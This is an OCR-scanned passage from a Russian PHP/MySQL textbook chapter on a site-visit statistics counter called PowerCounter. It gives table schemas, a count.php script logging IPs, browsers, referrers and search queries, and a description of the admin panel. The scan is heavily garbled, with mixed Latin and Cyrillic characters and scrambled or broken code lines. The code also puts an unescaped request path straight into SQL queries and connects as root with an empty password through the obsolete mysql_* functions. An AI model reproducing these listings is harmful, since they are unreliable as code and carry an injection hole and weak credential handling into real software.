powercounter_arch _ cl�ents ($tbl_arch_clients) CREATE TAВLE powe rcount er_arch_clients ( id_client INT (ll) NOT NULL AUTO_INCREМENT , putdate DATE NOT NULL DE FAULT '0000-00 -00 ',
Гла ва 24. Система учета посещаемости сайта browsers_ms ie INT (ll) NOT NULL DEFAULT 'О', browsers_opera INT (ll) NOT NULL DE FAULT 'О', browsers_ne tscape INT (ll) NOT NULL DEFAULT 'О', brows ers fire fox INT (ll) NOT NULL DEFAULT 'О', brows ers_my ie INT (ll) NOT NULL DE FAULT 'О', browsers_m ozilla INT (ll) NOT NULL DE FAULT 'О', browsers_none INT (ll) NOT NULL DE FAULT 'О', systems_windows INT (ll) NOT NULL DEFAULT 'О', systems_un ix INT (ll) NOT NULL DEFAULT 'О', systems_macint osh INT (ll) NOT NULL DEFAULT 'О' , systems_none INT (ll) NOT NULL DEFAULT 'О', PRIМARY КЕУ (id_c lient ) 999 Недел ьная архивная табл ица powe rcount er arch clients week аналогична рассмотренной выше таблице powe rcount er_a rch_client s, однако вместо п оля putdate используются два поля putdate_begin И putdate_end дл я обо­ значения границ недели. Месячная архивная табл ица powe rcoun­ t er_arch_clients_month отл ичается от табл ицы powe rcount er_arch_client s тол ько названием. ЗАМЕЧАНИЕ Объем книги .не позволяет привести операторы CREATE TAВLE дЛЯ всех ар­ хивных табл иц, однако их можно найти на компакт-диске, поставляемом вместе с данной книгой. 24.2. Уч ет статисти ки Для учета статистики необходимо создать файл cOlll1t.pll p, который будет подключаться ко всем страницам сайта, участвующим в сборе статистики при помощи директивы require_опсе () (листинг 24. 1 О). Лучше использовать директиву с суффиксом _о псе, чтобы предотвратить повторное включение счетчика и учет одного перехода на сайт два и более раз. ЗА МЕЧА НИЕ Для того чтобы включить в статистические да нные все страницы, удобно поместить вызов скрипта count.php в файл templates/bottom.php или te mplates/top.php.
1000 Часть 11. Создание сайта Листинг 24.10. Подкл ючение файла count.php ДЛЯ сбора статистики <?php ?> $titlepage = "Название страницы" ; requi re_once ("count .php" ) ; Есл и непосредственно перед включением скрипта count.pl1p поместить и м я страницы в переменной $titlepage, дан ная страница будет участвовать в отчетах системы именно под этим именем . Более того, можно объединять несколько страниц в одну позицию, присваивая им одинако вые названия . Ес­ ли переменная $titlepage не указывается, то в качестве названия стран ицы в отчетах испол ьзуется ее URL. В листинге 24.1 1 приводится содержимое файла count.php. Листинг 24 .11. Сбор стати стики, count. php <?php // Названия таблиц $tbl_ip $tbl_pages $tbl_re fferer 'powe rcounter_ip '; 'powe rcount er_pages '; 'powe rcounter_refferer '; $tbl_searchque rys 'powe rcoun ter_s earchquerys '; // Параметры соединения $dblocation = "localhost "; $dbname $dbuser $dbpasswd "oop_s ite" ; "root" ; "". , $ip = $_SERVER ['REMOTE_ADDR ']; if (empty ($ip) ) $ip = '0.0.0.0'; // Соединяемся с сервером базы данных $dbcnx = @mys ql_connect ( $dblocation, $dbuser, $dbpasswd) ; if (!$dbcnx ) return ; // Выбираем базу данных if (!@mysql_s elect_db ($dbname, $dbcnx) ) exit () ; // Если название не указано - формируем URL if (empty ($titlepage ))
Глава 24. Система учета посеща емости са йта 1001 $titlepage ''http : //'' . $_SERVER ['SERVER_NAМE ' ] . $ _SERVER ['PHP_SELF ' ] ; / / Экранируем спецсимволы $titlepage = mysql escape_s tring ($titlepage ); // Пр оверяем, нет ли такой страницы в базе данных $query = "SELECT idyage FROM $tbl_pages WHERE title = '$t itlepage '''; $pgs = mysql_query ( $que ry) ; if ($pgs ) { // Получаем первичный ключ (idy age ) // текущей страницы (по названию страницы ) if (mysql_num_rows ($pgs » O) $idyage = my sql_result ($pg s, O) ; // Если название данной страницы отсутствует в таблице pages , // то проверяем страницу по ее адресу else $query = "SELECT id_page FROM $tblyages WHERE пате= ' $_SERVER [РНР_SELF] , " ; $pgs = mysql_query ($query) ; if ($pgs ) { // Страница суще ствует - обновляем ее название if (mysql_num_rows ($pgs » O) { $id_page = my sql_result ($pgs, O) ; $query = "UPDATE $tblyages SET title = '$titlepage ' WНERE idyage $ id_page " ; mys ql_query ($query) ; // Если данная страница отсутствует в таблице pages // и ни разу не учитывалась - добавляем данную // страницу в таблицу else $query "INSERT INTO $tblyages
1002 Часть 11. Создание сайта VALUES (NULL , , $_SERVER [РНР_SELF] , , , $titlepage ' , О)"; @mysql_query ($query) ; // Определяем первичный кmоч толь ко что добавленной // страницы } // Поль зоватеЛЬ СЮ1Й агент $useragent = $_SERVER l'HTTP_USER_AG ENT ']; $brows er = 'попе '; // Определяем браузер if ( strpos ( $useragent , "Mozilla") != if ( strpos ( $useragent , "MSIE ") !== if ( strpos ( $useragent , "MyIE ") !== if (strpos ( $useragent , "Opera ") !== if ( strpos ( $useragent , "Net s cape ") !== if ( strpos ( $useragent , "Firefox" ) ! == // Определяем операционную систему $оз = 'попе' ; false) false) false) false) fa lse) false) $brows er 'mozilla '; $brows er 'msie '; $brows er 'myie ' ; $browser 'opera ' ; $brows er 'netscape ' ; $browser 'fire fox ' ; if (strpos ($useragent , "Win" ) if (strpos ($useragent , "Linux" ) 11 strpos ($us eragent , "Lynx" ) !== false) $оз !== fa lse 'windows '; !== fa lse 1 1 strpos ($useragent , "Unix ") !== false) $оз if ( strpos ( $useragent , "Macintosh") !== false ) $оз if ( strpos ( $useragent , "Powe rPC" ) !== fa lse) $оз // Определяем принадлежность к поисковым роботам if ( strpos ( $useragent , "StackRarnbler" ) !== false) if ( strpos ( $useragent , "Googlebot " ) !== false) if ( strpos ( $useragent , "Yandex ") != false) if ( strpos ($u seragent , "Apo rt ") !== false) if ( strpos ( $useragent , "msnbot" ) !== false) $search = 'попе ' ; 'unix ' ; 'macintosh ' ; 'macintosh ' ; $оз 'robot rarnbler ' ; $оз 'robot_google ' ; $оз ' robot_yandex ' ; $os 'robot_aport '; $оз 'robot msnbot ' ;
Глава 24. Система учета посещаемости сайта // Это строчка с реферером - URL страницы , с которой // посетитель пришел на сайт $reff = urldecode ( $_SERVER ['HTT P_RE FERER ')); // Выясняем принадлежность if (strpos ($reff, "уапdех ") ) i f(strpos ($reff, "rarnbler" )) к поисковым си стемам $search $search if ( strpos ($reff, "google" )) $search if ( strpos ($reff, "aport") ) $search 'уапdех ' ; , rarnbler' ; 'google '; 'aport ' ; if ( strpos ($reff, "mail") && strpos ($reff, "search" )) if ( strpos ($reff, "msn" ) && strpos ($reff, "results ") ) $ server_пате = $_SERVER ["SERVER_NAМE ") ; if (sub str ($_SERVER ["SERVER_NAМE ") , О, 4) "ww w .") Substr ( $_SERVER ["SERVER_NAМE" ) , 4) ; if ( strpos ($reff, $serve r_naтe) ) $search // Заносим всю собранн�о информацию в базу данных $ query_ma in = "INSERT INTO $tbl_ip VALUES ( NULL , INET_ATON ('$ip' ), NOW (), $idyage , , $browser ' , '$о з') "; @mys ql_query ($query_m ain ) ; if (!empty ($reff) && $search== "none ") $reff = mys ql_escape_s tring ($reff) ; $query_reff = "INSERT INTO $tbl_re fferer VALUES ( NULL , '$reff' , now (), INET_ATON ('$ip' ) , $id_page )"; @mys ql_qu ery ($query_reff) ; $search $search 1003 'mail' ; 'msn';
1004 Часть 11. Создание сайmа // Вносим поисковый запрос в соответствующую таблицу if (!emp ty ($reff) && $search !=" none " && $search != "own_ site") switch ($search ) case 'yandex ': рrеg_rna tсh("ltехt= ([Л&] +) l is ", $reff. "&", $out) ; if (strpos ($reff, "yandpage ") !=nul l) $quer = conve rt_cyr_string ( urldecode ($out[l] ),"k", " w ") ; else $que r=ut f 8_win ($out[1 ]); break; case 'ramb ler ': рrеg_rnatсh ("l wоrdS= ([Л &] +) lis", $reff. "&", $out) ; $quer = $out[l] ; break; case ' rnail': рrеg_rnatсh("l q= ([Л&] +) l is ", $reff. "&", $out) ; $quer = $out[l] ; break; case 'google ': preg_ma tch ("I [ Л а]q=([ Л&]+ ) lis", $reff. "&", $out) ; $quer = utf8_win ($out [1] ); break; case 'ms n' : рrеg_rnatсh("lq=([ Л &]+) l is", $reff. " & ", $out) ; $quer = ut f8_win ($out [1] ); break;
Глава 24. Система учета посещаемости сайта ?> case 'aport' : рrеg_rnatсh("l r= ([Л&]+) l is", $reff." & ", $out) ; $quer = $out[l] ; break; $symbol s = array ("\"", "''', "(", ") ", "+" , $quer = str_replace ($symЬol s, " ", $que r) ; $quer = trim($que r ); $quer = preg_replace (' 1 [\s]+1 ', ' ',$quer ); $query = "INSERT INTO $tbl_s earchquerys VALU ES (NULL , '$quer ' , NOW (), INE T_ATON ('$ip' ), $id_p age , '$search' ) "; @mys ql_query ($query) ; "" ,, 11_") ; 1005 Следует обратить внимание, что параметры соединения с базой данных рас­ полаг аются непосредственно в файле COUl1t.pl1p - это необходимо в связи с тем, что файл count.php может включаться в друг ие файлы, которые находят­ ся в поддиректориях различной степени вложенности . Расположение в файле cOUl1t.php директив include И require крайне нежелательно, так как это мо­ жет привести к ошибке при попытке вызывать файл cOUl1t.php из директорий, расположенных на разном уровне вложенности . Поэтому соединение с базой дан ных устанавливается не при помощи специализированного файла СОI1- fig.php, а непосредственно в скрипте cOUl1t.php. Другой особенностью файла cOUl1t.php является пол ное и г норирование про­ в ерок правильности выполнения SQL-запросов. В предыдущих главах при в озникновении ошибки г енерировалось исключение, которое останавл ивало работу скрипта. В случае счетч ика такое поведение является недопусти­ мым - зачастую файл подключается ко всем страницам сайта и остановка счетчи ка будет равносильна остановке сайта; луч ше потерять часть статисти­ ки , чем наруш ить работоспособность саЙта.
1006 Часть 11. Создание сайта в начале скрипта из элемента суперглобального маССИва $ _ SERVER [ 'REMOTE_ADDR ' ] извлекается IР-адрес посетителя, который пом е­ щается дл я удобства в переменную $ ip; если извлечь адрес по каким-то причинам не удается, переменной присваивается значение "0.0.0 .0": $ip = $_SERVER ['REMOTE_ADDR ']; if (empty ($ip) ) $ip = '0.0.0.0' ; ЗА МЕЧА НИЕ Иногда IP-аАрес посетителя может располагаться в других переменных ок­ ружения, особенно есл и на выходе сервера сто ит обратн ый кэ ширу ющ ий про кси-сервер: в этом случае точ ное значение переменной о кружения для IP-аАреса следует уточнить либо в службе тех нической подд ержки хост­ провайдера, либо в отчете функции phpinfo (). После того как соеди нение с базой данных установлено, осуществляется п ро­ верка, имеется ли текущая страница в табл ице powercounter_p a ge s ($tbl_p a ges). Есл и страница найдена, ее первичный кл юч помещается в п е­ ременную $id_p age, а поле title обновляется при помощи UPDATE­ запроса. Есл и тако й страницы нет, то в табл ицу powe rcount er_p age s ($tbl_pages) вставляется новая зап ись (оператор INSERT), при это м первич­ ный ключ таблицы, назначенный записи по механ изму AUTO_INCREMENT, из­ влекается при помощи функции my sql_insert_ id () . в качестве адреса страницы вставляется значение переменной окружения $_SERVER [ , РНР_ SEIsF ' ] . Особенность этой переменной заключается в том, что она не содержит GЕТ-параметров, поэтому динамические страницы могут засчитываться как одна и та же страница. Есл и это неприемлемо, перемен ­ ную $_ SERVER [ , РНР_ SELF ' ] следует заменить на $_ SERVER [ 'REQUEST_URI ' ], которая содержит GЕТ-параметры. После это го производится анализ строки, возвращаемой браузером клиента, который помещается в эл емент суперглобального массива $_SERVER [ 'НТТР_USER_AGENT ' ] . Из дан ной строки извлекается тип браузера и операционной системы посетител я, передаваемые во временные переменные $brows er и $os соответственно. Эти переменные далее испол ьзуются для фор­ мирования SQL-операторов INSERT . Строка $_SERVER [ 'НТТР_USER_AGENT ' ] также анализируется на принадлежность к роботам поисковых систе м Yandex, Google, RambIer, Aport, Mail.ru и MSN. Из переменной окружения $_SERVER [ 'НТТР_RE FE RER '] извлекается рефе­ рер - адрес страницы, с которой осуществлен переход на стран ицу сайта; именно он позволяет определить страницы, где расположены ссылки на
Глава 24. Система учета посещаемости са йта 1'007 с айт, а таюке определять запросы поисковых систе м, по которым был обна­ руже н саЙт. ЗА МЕЧАНИЕ Некоторые браузеры (например, Орега) и сетевые экраны (например, Outpost) позволяют скрывать реферер, поэтому часть информации может теряться. Не следует надеяться, что реферер всегда будет заполнен браузером . Переменная окруже ния $_ SERVER [ , HTTP_RE FERER '] предварител ьно обраба­ ты вается функцией urldecode () . Это необходи мо дл я перевода в URL сим­ вол ов вида " %##" , кото рые испол ьзуются для передач и недопусти мых симво­ лов (пробелов, символов кирилл ицы и т. п .) . $reff = urldecode ( $_SERVER ['HTTP_RE FERER ']); Переход со страниц поисковых систем определя ется путе м нахожде ния в ре­ ферере фрагмента адреса поисковой системы. Есл и он обнаруже н, перемен­ ная $search получает значе ние отличное от 'попе '. Есл и реферер содержит фрагмент, совпадающий с ад ресом те кущего ресурса ($_SERVER ['SERVER_NAМE ']), переменная $search получает знач ение "own_s ite" , а хит получает статус незасчитанного . Посл е разбора серверных переменных в табл ицы powe rcounte r_ip ( $tbl_ip) и powe rcounte r_re fferer ( $tbl_re fferer) помещаются записи. При это м IP­ адрес приводится к числовому знач ению при помощи MySQL-функции INET_ATON (). Следует отм етить, что в табл ицу powe rcount er_refferer ($tbl_re fferer) попадают значения, отличные от поисковых систем, так как для них предназначена специал ьная табл ица powe rcounter_s earchque rys ($tbl_searchque rys) . Прежде чем запол нить табл ицу, из переменной $reff при помощи регулярных выраже ний извлекаются ключевые слова, которые помещаются в переменную $quer. Для каждой из поисковых систе м приме­ няется свое регулярное выражение. Поисковые системы УaJ1dex, Google и MSN используют в запросе кодировку UTF-8, поэто му полученный резул ьтат следует преобразовать в кодировку ср 1251. Для этого подходит разработан­ ная в главе 23 функция utf8_win () (см . листи нг 23 .2). 24.3 . С истема администрирования Теперь, когда табл ицы системы разработаны и создан счетч ик, заполняющий акту альные табл ицы статистичес кими дан ными, можно приступ ить к разра-
1008 Ча сть 11. Создание сайта ботке системы администрирования, позволяющей осуществлять монито рин г дан ных. Система PowerCoUl1ter состо ит из нескол ьких сервисов: О Гл авная страница - содержит список страниц, участвующих в статисти ­ ке, и кол ичество переходов по ним за пять временных интер валов (сего­ дня, вчера, за 7 дней, за 30 дней, за все время); О Почтовый отчет - позволяет отправить на e-l1 1 ail почтовые отчеты за прошедш ие сутки, за прошедшую неделю и за прошедш ий месяц; О ХОСТЫ и хиты - количество хосто в и хито в за пять временных инте рв а­ лов (сегодня, вчера, за 7 дней, за 30 дней, за все время); О Системы и браузеры - операционные системы и браузеры за пять вре­ менных интервалов (сегодня, вчера, за 7 дней, за 30 дней, за все время); Систе ма адм инистрирования �'ц''' ' �ИНИСТРИРОЕанне 8�рнуться на С'айт C�ICTeIД раб отает: '781 ДН. Объём базы данных: 12.8Мб [ШiШI:!...�_g: Р. .;; !Шkl.".J;.�.�т.�!.1.1g! ПОI(ТQВЫЙ Qтчёт ХОСТЫ 11 ХIПЫ Посуточный отчёт . ПонедельныЙ OTI� eT Помесячный Qтч�т .Q!1.g:!?M .!>! ..l1_.P.1J_�1i!gQ.!?! . []Qj;yfОЧНЫI1 отчёт Понеде(lbtшli QТчёl' Помесячн ый отцёт Ip·aдpeca Посуточный отчет Понедепьный отчет !l%'!.\' . QL�!:! !?!. (j_ДLЧ!�I Хосты И хиты На этой стран,ще вы видите общую статистку по посетитеЛЯIJ саrпа. ХОСТЫ - ЭГО количество ун" кальных лосеnпелей Вашего саЙТа. ХIПЫ ­ это общее КОЛ'14есrво показов саЙТа. Пр" .лереходе по ССЫЛJ(аr� "Сегодня", "B'iepa" отqQражается деrалы,ая почасовая стаТ" СТ"К8 посещен"й 33 выбранный ден Ь. . Пр" переходе по С·СbIЛi{дМ"За7 дней" и "З · 8 З{) дней " ОТоб ражается детальная Ч'ТО ""8Я стап,сщка за эти периоды вр.шени . хосты 7 3046 15046 71 133 1691977 I Хосты 484 41 86 21379 '�'�����-- -;;����-� " -I Зас.. . �{fllн ные ! хиты 12 14541 778а6 364121 9968941 i �- -------+-----��-----+------1-------+------ � Х.пы 1484 19672 121 710 589628 15268138 1 Рис. 24.1 . Внешний вид системы адм инистрирования PoweгCounteг
Глава 24. Система учета посещаемости сайта 1009 о IР-адреса - переходы с IР-адресов за пять временных интервалов (сего­ дня, вчера, за 7 дней, за 30 дней, за все время); О Поисковые роботы - кол ичество посещений роботам и поисковых сис­ тем за пять временных интервалов (сегодня, вчера, за 7 дней, за 30 дней, за все ,время); О Поисковые запросы - кол ичество переходо в с поисковой системы за пять временных интервалов (сегод ня, вчера, за 7 дней, за 30 дней, за все время); О Статистика поисковых запросов - наиболее популярные поисковые за­ просы; О Рефереры - с каких стран иц перешли посетител и за текущие сутки; О Точки входа - стран ицы, с которых посетител и начали навигацию по сайту; здесь же указывается кол ичество посетителей, которые зашл и на сайт с той или иной страницы; Система адм инистрирова ния СНС1&М. работает: S�1 дн . 05ъём оззы да нных: ШJ,1!2 Гл авная страница счетчика ПочтовыЙ отчёт Хасты И ХИТЫ ПОС"f!ОЧf!ЫЙ отчёт ]J9.!i�.!J&()."-!:Jшl.91'!iU ПомеС:ЯЧНЫ I1 отчёт Системы н 6рауз еры ПОС'{ГОЧНЫЙ отчёт Г10н едельныЙ отчет Помесячный отчёт !fl:м.P..�:�;a ПОC'rточный стчёт Управление базой да нных На этой СtpаНfЩе вы можете управпятъ объёмом базы данных. ДовесfИ до нуля объём табл.,цы невозможно, так как ыета-данные {ctpYKтypa таБЛ!1ц) также 3ВiIf1ыа ют определённый объём на жёсткоt.t диске. Актуальные таблицы [очж:ооь) powercounleclp КОПИЩ�С1ао всех посещений 5.8 МО pow8rcounler-pages Стра НI1ЦЫ. участвующие в 36&.5 стаП1 С1ике Кб powercounleUhils Временная табпица, для 4Кб вн утренних операций !I Рис. 24.2 . Управление объемом базы данных
1010 Часть 11. Создание са йт а о Глубина просмотра - кол и чество стра ниц, просмотренных посетител я ми (какое кол ичество посетителей просмотрело тол ько одну стран ицу , скол ько - 1 О, 100 и более страниц); О Продолжител ьность сеанса - время, кото рое посетител и провел и на страни цах сайта (скол ько посетителей провело на сайте 1 минуту, 2 ми­ нуты, 1 час и т. п.). Для сервисов "Хосты и Хиты ", "Системы и браузеры", "IP-адреса" , "Поиско ­ вые роботы", "Поисковые запросы ", "Рефереры", "Глубина просмотра", "Время сеанса" предус мотрена расшифровка в виде посуточных, понедел ь­ ных и помесячных списков. Внешний вид системы представлен на рис. 24. 1. В верхней части стра ницы располагается информация о продолжител ьности сбора статистики и объе ме данных, которые зан има ют табл ицы РоwеrСОl1пtеt· . В ,л евой части находится меню, в кото ром представл ены описанные выше сервисы. В правой част и окна отображается отчет, сформированный текущим сервисом. посуточныl' отчёт Понедег1 ОНЫt'\ 01чёт Помесячный отцёт ПQ.!!Ш'�l!,О!:!Е!Й..QН.�.I Помесячный отчёт Пm·\СКОР.ые роботы Поcvгочны й отцёт Гlонеде;]ьн ый отч ет ПомеСЯЧНblЙ отчёт []Qи<;r,f,Ш.Оi.i1• .? 1I Л И?J;.g! ПОС'fТО4н ыi1 отчёт httр:I."WW.sоfШmе. гu/forurn/геаd:.рhр 607 h\tp://;VihW s ontime .ru/bookpl1Pldlc.рhР 93 h\tp:I/s ottlime. rul indol. .php 82 �JW\v.soft!ime.ru�nfolartjclephp рЬр 46 2IЮ8-01 -1.1 02'25:55 2008-0 1 -'1 02:25:09 2()( )8-0' -1 1 02:26:03 2008-01-11 02:20:08 2008-01 -1 1 02:22:42 Рис. 24.3. Гл авная страница системы администрирования
Глава 24. Система учета посещаемости сайта 101 1 Объем данных является гиперссылкой, приводя щей на специальную стра­ н и цу (рис. 24.2) с расшифровкой объема каждой табл ицы системы. Отчет содержит название табл ицы, ее описание и занимаемый объем . Все табл ицы усл овно поделены на три группы: C:J актуал ьные табл ицы, в которых хранится информация, соб ирае мая скриптом count.pl1p (см . листи нг 24. 1 1); C:J в спомогател ьные табл ицы, содержащие города, соответствующие им ре­ гионы и IР-адреса; C:J архи вные табл ицы, в кото рых хранится архи вная информация за сутки, недели и месяцы. Актуал ьные и архивные табл ицы можно о чистить при помощи ссыл ки очи ­ ст ить; после удаления дан ных ненулевой размер табл иц объяс няется те м, что их структура также занимает определенный объем . ПОСУТОЧНЫЙ отчёr Понедельный о",ет Помесячный ОТllёт Сиgе мы '� ораvзеры [lJl!d.1 .Q.':!!!. !?I . .!l.QJ.i�_1 Понедельныи отчёт Помесячный отчет Ip·aдpeca Посуточный отч�т ПОl1 едел ьный отчёт D. .Q !!\g�lШ�l ПОl<СКОRые роботы Рис. 24 .4 . Посуточ ный отч ет "Хосты и Хиты"
1012 Часть 11. Создание сайта Глав ная страница счетч ика (рис. 24 .3) содержит список страниц, участвую­ щих в сборе статисти ки. Список разбит при помощи постраничной навигаци и на отдел ьные страницы. Для каждой стран ицы выводится количество посе­ щений, а также время последнего посещения. В любой момент стран и цу можно исключить из статистики, воспользовавшись управляющей ссылкой Удалить . На рис. 24.4 представл ен посуточный отчет "Хосты и Хиты ", представл яю­ щий собой разбитую постранично таблицу, в которой для каждого дня отво­ дится одна строка. Структура понедельных и помесяч ных отчето в аналогич­ на, тол ько вместо суток в первом столбце табл ицы представл ены недел и и месяцы. 24.4 . Р азраб отка системы ад министрирования Система PowerCoUl1ter включает файлы следующего назначения : О cOl1fig.php - ко нфигурационный файл, содержащий имена табл иц, а таюке управляющие константы ; О arcl1ive.php - архиватор, осуществляющий архивацию дан ных из акту- альных таблиц в архивные табл ицы (суточные, недельные и месячные); О addresses .php - отчет "IР-адреса" ; О addresses.daily.pllp - посуточный отчет "IP-aдpeca"; О addresses .weekly.php - понедельный отчет "IР-адреса" ; О addresses.mol1tl1 ly.pl1p - помесячный отчет "IP-адреса" ; О cliel1ts .pl1p - отчет "Системы и Браузеры"; О cliel1ts.daily.pllp - посуточный отчет "Системы и Браузеры "; О cliel1ts .weekly.pl1p - понедельный отчет "Системы и Брау зеры"; О cliel1ts .mol1th ly.pllp - помесячный отчет "Системы и Браузеры"; О database.pllp - управление объемом базы дан ных; О database.clear.pl1p - очистка базы данных (удаление данных из актуал ь­ ных и архивных табл иц) ; О deep.pl1p - отчет "Глубина просмотра" ;
Гл ава 24. Си стема учета посещаемости са йта CJ deep.dai ly.pllp - посуточ ный отчет "Глубина просмотра"; CJ deep.weekly. php - понедел ьный отчет "Глубина просмотра"; CJ dеер . шопtЫу.рhр - помесяч ный отчет "Глубина просмотра"; CJ епtегроiпt.рl1р - отчет "Точки входа " ; CJ 11 itS.pllp - отчет "Хосты и хиты " ; CJ 11 its.daily.pllp - посуточный отчет "Хосты и хиты "; CJ 11 its.weekly.pllp - понедел ьный отчет "Хосты и хиты "; О 11 its.шопtЫу.рl1р - помесячный отчет "Хосты и хиты "; 1013 CJ iпdех.рl1р - гл авная ст раница со списоком страниц сайта, участвующих в статисти ке; CJ delpage .pl1 p - скрипт, удал яющий страницу из статистики; CJ шеПll.рl1р - меню системы РоwеГСОllпtег; CJ pages.pl1 p - переходы по стран ицам ; CJ qllers . pllp - отчет "Статистика поисковых запросов"; CJ reffel·e r.pllp - отчет "Рефереры "; CJ refferer.dai ly.pl1p - посуточ ный отчет "Рефереры"; CJ refferer.weekly.pllp - понедельный отчет "Рефереры "; CJ геffегег.шопtЫу.рl1 р - помесяч ный отчет "Рефереры " ; CJ robots.pl1 p - отчет "Поисковые роботы "; CJ robots.daily.pllp - посуточный отчет "Поисковые роботы "; CJ ro bots .weekly.pl1p - понедельный отчет "Поисковые роБОТЬ,I"; CJ гоЬ оts .шопtЫу.рllР - помесячный отчет "Поисковые роботы "; CJ searcllqllery.pl1p - отчет "Поисковые запросы"; CJ searcllqllery.daily.pllp - посуточный отчет "Поисковые запросы "; CJ searcllqllery.weekly.pllp - понедельный отчет "Поисковые запросы"; О sеагсllqllегу.шопtЫу.рllР - помесячный отчет "Поисковые запросы"; О sепd.рllР - страница дл я отп равки почтовых отчето в; О sепd_ш апаgе .рllР - управление почтовыми отчетам и; О sепd_dау.рllР - формирование почто вого отчета за прошедшие сутки ;
1014 Часть 1/. Создание сайта о send_week.pI1p - формирование почтового отчета за прошедшую неделю; О send_montI1 .php - формирование почтового отчета за прошедший меся ц ; О time.php - отчет "Время сеанса"; О time.dai ly.php - посуточный отчет "Время сеанса"; О time.weekly.php - понедельный отчет "Время сеанса"; О time.monthly.pI1p - помесячный отчет "Время сеанса" ; О time_il1terval . pI1p - вспомогател ьный файл, в котором хранятся границы временных интервалов дл я вывода статисти ческой информации: "Сего­ дня", " Вчера", "За 7 дней", "За 30 дней" и "За все время"; О utils.begin_day_arch.php - вспомогател ьная функция begin_day_a rch (), возвращающая последний день, за который обнаружен отчет; О utils.database.pI1p - вспомогател ьные функции для работы с базой дан­ ных: get_value_table () - возвращает объем, занимаемой отдел ьной таблицей, get_va lue_da tabase () - возвращает объем, занимаемый все­ ми табл ицами базы дан ных, valuesize () - форматирует объем в байтах, автоматически формируя объем в килобайтах и мегабаЙтах.; О utils.query_result.pI1p - вспомогател ьная функция query_result; () для выполнения SQL-запросов, заведомо возвращающих одно знач ение; О utils.where. pI1p - вспомогател ьная функция where (), возвращающая фрагмент конструкции WHERE дЛЯ SQL-запроса, выполняющего выборку данных за определенный временной интервал; О uti ls.cliel1t.php - функции, осуществляющие ежесуточную, еженедел ь­ ную и ежемесячную архи вацию данных по системам и браузерам : ar­ chive_client (), archive_client_we ek () И archive_clients_month (); о uti ls.deep.php - функции, осуществляющие ежесуточную, еженедел ь ную и ежемесячную архивацию данных по глубине просмотра: ar­ chive_deep (), archive_deep_week () И archive_deep_month (); о utils.el1terpoil1ts.php - функци и, осуществляющие ежесуточную, еже не­ дел ьную и ежемесячную архивацию данных по точкам входа: archive_enterpoints (), archive_enterpoints_month (); archive_enterpoints_w eek () и О utils.hits.php - функции, осуществляющие ежесуто чную, еженедел ьную и ежемесячную архивацию данных по archive_hit_h osts (), archive_hit_hosts_month (); хитам и хостам : и
Гп ава 24. Система учета посещаемости сайта 1015 а utils.ip .pllp - ФУНКЦИИ, осуществляющие ежесуто чную, еже н едел ьную и ежемесячную архивацию данных по IР-адресам: archive_ip (), arch ive_ip_week () и archive_ip_mo nth (); а t1tils.l1шп_sеагсll .рll Р - ФУНКЦИИ, осуществляющие ежесуточную, ежене­ дельную И ежемесячную арх ивацию данных по кол ичеству обращений с поисковых систем: а uti ls.refferer.pllp - функции, осуществл яющие ежесуточную, еже н едел ь- ную И ежемесячную архивацию данных по реферерам : archive refferer (), archive_re fferer_mo nth (); и а utils.robots . pllp - функци и, осуществляющие ежесуточную, еженедел ь­ ную и ежемесячную архивацию дан ных по роботам поисковых систем : archive robots (), archive_rob0ts_we ek () И archive robots_mo nth (); а t1tils.search.pllp - ФУНКЦИИ, осуществляющие ежесуточную, еженедел ь­ ную И ежемесячную архивацию данных по поисковым запросам : archive_s earchquery (), arch ive_s earch que ry_w e ek () archive_s earchquery_mo nth (); и а uti ls.time.php - функции, осуществляющие ежесуточную, еженедел ьную и ежемесячную архивацию данных по времени сеансов: archive_time (), archive_t ime_week () И archive_t ime_month (). ЗА МЕЧАНИЕ Охватить все файлы в рамках этой кн иги не представляется возможн ым. Кроме того , структура большинства файлов различается тол ько именами MySQL-табл иц и столбцов, поэто му в данном разделе детально б удет рас­ смотрен лишь оди н сервис: "Хосты и ХИТЫ" . Код остал ьных сервисов можно найти на ко мпакт-диске, поставляемом вместе с книгой, а также в разделе downloads нашего сайта http://ww w . s ofttime.ru. Код снабжен коммента­ риями на русском языке, и разобраться в нем будет не сложно. Если какие­ либо вопросы все же возникнут, их можно будет задать на нашем форуме http://ww w .s ofttime. ru/foru m/. Для отображе ния меню системы mеlш.рhр, отличного от меню CMS, необхо­ димо использовать новые файл ы дл я шапки стран ицы tорсоtшtег.рl1р и дл я завершения страницы ЬоttоmСОt1пtег .рl1р вместо приводимых ранее top.pllp и bottom .pl1p.
1016 Часть 11. Создание са йта Помимо файла меню шеl1u .рhр, файл topcou nter.pllp подключает ко нфигура­ ционный файл cOl1fig.php, в кото ром содержится список таблиц, испол ьзуе­ мых системой, и управляющие константы (л истинг 24. 12). Листинг 24.1 2 . Фра гмент файла config .php <?php // Устанавливаем соединение с базой данных include " ../ . ./config/config .php "; // Количество позиций на одной странице $pnurnbe.r = 2 О; 'powe rcounte r_ip '; // Количество самых активных IP- адре сов , которые архивируются // в суточные , недель ные и месячные таблицы de fine ("IP_NUМВER ", 20) ; // Количество самых активных точек входа , которые архивируются // в суточные , недель ные и мес ячные таблицы define ("ENTERPOINT_NUМВER ", 20) ; // Количество самых распространенных рефереров , которые архивируются / / в суточные , недель ные и месячные таблицы define ( "REFFERER_NUМВER" , 2О) ; // Количество самых распространенных запросов с Yandex , которые / / архивируются в суточные , недель ные и месячные таблицы de fine ("YANDEX_NUМВER" , 20) ; // Количество самых распространенных запросов с Rambler, которые // архивир�отся в суточные , недель ные и ме с ячные таблицы define ("RAМВLER_NUМВER" , 20) ; // Количество самых распространенных запро сов с Google , которые // архивируются в суточные , недель ные и месячные таблицы define ("GOOGLE_NUМEER" , 20) ; // Количество самых распространенных запросов с Google, которые // архивируются в суточные , недель ные и месячные таблицы de fine ("APORT_NUМВER" , 20) ; // Количество самых распространенных запро сов с MSN , которые // архивируются в суточные , недель ные и месячные таблицы
